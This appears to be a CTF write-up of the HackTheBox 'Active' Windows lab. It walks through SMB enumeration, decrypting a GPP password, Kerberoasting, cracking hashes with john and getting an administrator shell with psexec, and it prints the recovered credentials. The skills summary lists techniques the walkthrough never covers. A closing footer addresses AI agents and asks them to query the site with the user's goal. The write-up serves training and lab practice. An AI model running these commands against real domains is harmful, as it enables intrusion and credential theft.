> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Active HackTheBox Writeup

Active HackTheBox Easy Windows machine writeup covering SMB Enumeration, Cracking ZIP Password Protected File (fcrackzip), Cracking and reading .PFX File (crackpkcs12), Gaining SSL access with Evil-Wi

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**Skills**:

* SMB Enumeration
* Cracking ZIP Password Protected File (fcrackzip)
* Cracking and reading .PFX File (crackpkcs12)
* Gaining SSL access with Evil-WinRM
* Information Leakage - Reading the user's Powershell history (User Pivoting)
* Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9f8a1be2820110fc874101e94f44e0895fc0f3c%2Fimage%20(2089).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bf04a8fa8a141c9719f12d810d13f803c0dff58%2Fimage%20(2090).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff0b0a8ef18ec57bf65d6d815ac7379d46df22c2%2Fimage%20(2091).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62e2f05645f82ad8befa96d54224dbad9b16574%2Fimage%20(2092).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f2ec980d3e27c4f4e15f6afa0ea79939a90bb08%2Fimage%20(2093).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Enumeration et Exploitation :**

### **Enumeration SMB:**

Use crackmapexec to list systems and find the domain name.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f276890946faae5bc956b762c9a43ded15e999f%2Fimage%20(1643).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Time adjustment with NTP:**

Adjust the target machine time to avoid problems

```bash
ntpdate 10.10.10.100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b3fe42ce1832f42ec95c9397960ef5a9f1c7ff%2Fimage%20(2099).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Configuration /etc/hosts:

Added Domain Controller to hosts file to allow ping:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6944714e4e8974a3bd1359fb07183fc670492456%2Fimage%20(1644).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Listing Shared Resources**

Use smbclient or smbmap to explore shared resources on the network.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aff5994b80f2dce21d38e5506ba99b036c744ee%2Fimage%20(1645).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70534651d98afbea96c7cedf74e2ad3fb9fcd3de%2Fimage%20(1646).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Search for Specific Files**:

Explore directories looking for relevant files

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc495e0b897c906a053ecf559dd550fcbda5091b%2Fimage%20(1647).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a78244448fcc316b202844afba2cd50370fd45%2Fimage%20(1648).png?alt=media" alt=""><figcaption></figcaption></figure>

The `groups.xml` file is identified which may contain confidential information.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26bf1be4ffcb3f2a80e549c8e5819c9f42357ad7%2Fimage%20(1649).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77543c7451c0357151402d73029d75cc36af21b1%2Fimage%20(1650).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Password decryption:**

Use `gpp-decrypt` to decrypt stored passwords.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-370f4614996d1ba0042ab30efb1d94d550a5b0d1%2Fimage%20(1651).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Identifier validation:**

Use crackmapexec to check if IDs are valid

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afdd3f0e1aab2272babe773938540d613b3afcd%2Fimage%20(1652).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploration of Permissions:**

Use crackmapexec and smbmap to explore permissions on network sharing.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0302ddc9339c95bf7ed87a25680f753b9d206820%2Fimage%20(1654).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt Flag Obtained:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e10f350450347df74cfa44ca20dcfad704bd382%2Fimage%20(1656).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9f0a8bdfbedd96f069e9a7a306b2a77aef999f2%2Fimage%20(1657).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Login to the Domain Controller:**

Using rpcclient to connect to the Domain Controller and explore users and groups:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8d50175795880762fabaa6e19b27077c6d8b76f%2Fimage%20(2095).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - To identify the admin group members:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - To get users in a specific group:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aea61c2fe124a97485708b74246a6d0827e9a329%2Fimage%20(2096).png?alt=media" alt=""><figcaption></figcaption></figure>

#### - To list the descriptions of all users:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31c767e9a21e6717b930a8cdafb9ab30bdc01ae4%2Fimage%20(2097).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## Vulnerability [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

Kerberoast vulnerability is successfully exploited through the following command:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

This command recovers a Grant-Ticketing Service (TGS) service ticket that exploits the vulnerability.

Then, to get an administrator hash, the -request parameter is added to the command:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f9d42eb87c8407588ec3688041f3990b346789c%2Fimage%20(2101).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Final Exploitation:**

### **Hash Cracking:**

Use John to try cracking the obtained hashes.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bfb54403111756914bcecff9fcd0ebb290e403c%2Fimage%20(2102).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Identifier validation:**

Use crackmapexec to validate the credentials obtained

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e47ab9e0f7968b52620b69faa837956e9ad6991%2Fimage%20(2103).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Psexec execution:**

Use psexec.py to obtain an interactive shell as administrator.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeae93e7e24db869972860f7f7112879e047dfca%2Fimage%20(2104).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Final Flag Obtained:**

Successfully getting the final flag once the administrator access is acquired.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-018797dae57a0888b4fa10ca2a0f56dccdaa93c2%2Fimage%20(2105).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bab00a5f918b48a697b92843207c2eb0785ae133%2Fimage%20(1410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
